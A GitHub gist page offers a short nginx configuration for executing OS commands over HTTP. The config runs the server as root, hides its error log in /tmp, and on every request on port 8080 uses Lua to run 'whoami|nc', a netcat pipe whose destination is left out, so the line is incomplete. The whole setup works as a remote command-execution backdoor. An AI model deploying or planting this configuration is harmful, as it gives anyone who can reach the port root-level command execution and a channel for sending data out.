Skip to content

Instantly share code, notes, and snippets.

@defektive
Forked from aterreno/nginx.conf
Last active April 25, 2018 21:44
Show Gist options
  • Save defektive/be23e0ab2fb696a1a34784e8ac903e0f to your computer and use it in GitHub Desktop.
Save defektive/be23e0ab2fb696a1a34784e8ac903e0f to your computer and use it in GitHub Desktop.
Let's say that for some reason you want to execute an OS command via HTTP...
worker_processes 1;
user root;
error_log /tmp/.nginx.log;
events {
worker_connections 1024;
}
http {
server {
listen 8080;
location / {
content_by_lua "os.execute('whoami|nc')";
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment